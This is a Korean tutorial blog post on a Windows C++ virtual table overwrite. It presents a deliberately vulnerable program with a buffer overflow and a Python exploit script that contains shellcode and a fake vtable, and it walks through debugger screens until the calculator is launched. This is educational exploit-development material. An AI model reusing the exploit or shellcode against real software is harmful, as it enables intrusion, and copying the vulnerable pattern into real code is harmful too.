ii4gsp

Virtual Table Overwrite 본문

시스템 해킹/Windows Pwnable

Virtual Table Overwrite

ii4gsp 2020. 4. 19. 19:49

Virtual Table 줄여서 Vtable이라고도 부른다.

C++에서 가상 함수를 사용할때 Vtable이 생성된다.

Vtable에 저장된 함수 포인터를 이용하여 각 메소드에 접근한다.

 

         힙/스택

 ㅡㅡ객체 포인터

 |

 |

 |

 |                     Vtable

 ㅡㅡ>객체 -> 함수 포인터1 -> 메소드1

         객체     함수 포인터2 -> 메소드2

         객체     함수 포인터3 -> 메소드3

 

 

 

 

#include "stdafx.h"
#include <string>
#include <cstdlib>
#include <iostream>

using namespace std;

class Book {
private:
	char name[100];
	int page;
public:
	Book(char * _name, int _page){
		strcpy(name,_name);
		page = _page;
	}
	virtual void setName(char * input){
		char * buf = (char*)malloc(20);
		strncpy(buf, input, 19);
		printname(buf);
		getName();
	}
	virtual void printname(char * buf){
		printf("name : %s",buf);
	}
	virtual char * getName(){
		return name;
	}
};

int main(int argc, char* argv[])
{	
	if(argc!=2) {
		printf(" Usage : bookmanager.exe [filename]\n");
		exit(1);
	}
	static char contents[1000] = {0,};
	static Book mybook("windows_hacking",1);
	printf("object addr : 0x%x\n", &mybook);
	printf("object vtable addr : 0x%p\n", mybook);
	printf("buf addr : 0x%x\n", &contents);
	FILE *f = fopen(argv[1], "r");
	fgets(contents,1500,f);
	mybook.setName(contents);
	return 0;
}

소스코드를 이용하여 예로 들겠다.

Book 객체를 메모리에 할당한 뒤 setName() 함수를 호출하면, Book 객체 메모리의 첫 4바이트에 위치하는 Vtable 포인터를 이용하여 가상 함수 테이블을 찾고, 가상 함수 테이블에서 setName()에 해당하는 주소를 찾아 실제 함수를 호출한다.

익스플로잇 과정은 덮어쓴 포인터를 가리키도록 포인터를 덮었는 이중 포인터 Overwrite라고 할 수 있다.

 

 

 

 

프로그램을 실행해보면 객체 주소는 0x403430, 버퍼 주소는 0x403048 이다.

버퍼가 더 낮은 주소에 위치함으로 오버플로우를 일으키면 포인터를 덮을 수 있다.

위의 소스코드를 보면 버퍼는 1000byte만큼 할당되었는데 복사는 1500byte만큼 한다.

즉, 버퍼 오버플로우가 발생한다.

올리디버거로 하나씩 분석해보자.

 

 

 

 

fgets()함수 호출전에 breakpoint를 걸고 F9로 프로그램을 실행해보자.

 

 

 

 

static Book mybook("windows_hacking", 1);

즉, 객체가 할당된 모습이다.

객체의 첫 4byte는 Vtable의 주소를 가리키는 포인터이다.

그리고, 멤버 변수 name과 100byte뒤에 멤버 변수 page가 보인다.

 

 

 

 

Vtable의 메모리이다.

0x402190부터 4byte씩 3개의 함수 setName, printName, getName이 보인다.

 

 

 

 

setName()함수를 보면 함수 내부에서 가상 함수 printName()과 getName() 함수를 호출한다.

이때 Vtable을 참조하는 코드를 볼 수 있다.

MOV EDX, [EAX] = EAX에 저장된 Vtable 주소를 EDX에 저장한다.

MOV EAX, [EDX+4] = Vtable의 두 번째 배열에 위치한 printName() 함수의 주소를 EAX에 저장한다.

CALL EAX = printName()함수를 호출한다.

 

 

 

 

import struct

shellcode  = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)

fake_table = struct.pack('<L', 0x403048)
fake_func1 = struct.pack('<L', 0x40304c)
fake_func2 = struct.pack('<L', 0x403050)

nop = "\x90" * 100

dummy = "A" * (1000-len(fake_func1+fake_func2+nop+shellcode))
payload = fake_func1 + fake_func2 + NOP + shellcode + dummy + fake_table

f = open("test.txt","w")
f.write(payload)
f.close()

익스플로잇 소스코드이다.

 

 

 

 

소스코드를 실행시켜 test.txt를 프로그램의 인자 값으로 설정 후 디버거로 분석해보자.

 

 

 

 

fgets()함수가 호출된 후에 breakpoint를 걸어주고 메모리를 살펴보자.

 

 

 

 

Vtable의 주소가 0x403048로 변조되었다.

 

 

 

 

setName()함수에서 가상 함수를 호출하기 직전에 breakpoint를 걸어주고 메모리를 확인해보자.

 

 

 

 

printName()함수의 주소가 쉘 코드의 주소 0x403050으로 변조되었고, getName()함수도 0x909090으로 변조되었다.

이제 마지막으로 함수를 호출해보자.

 

 

 

쉘 코드가 실행되어 계산기가 실행되었다,

'시스템 해킹 > Windows Pwnable' 카테고리의 다른 글

CoolPlayer 2.19.2 Exploit (Local)  (0) 2020.12.30
Easy Chat Server 3.1 Exploit (RCE)  (0) 2020.12.30
부분 Overwrite  (0) 2020.04.22
Integer Overflow Exploit  (0) 2020.04.20
Windows calc shellcode  (0) 2020.04.19
Comments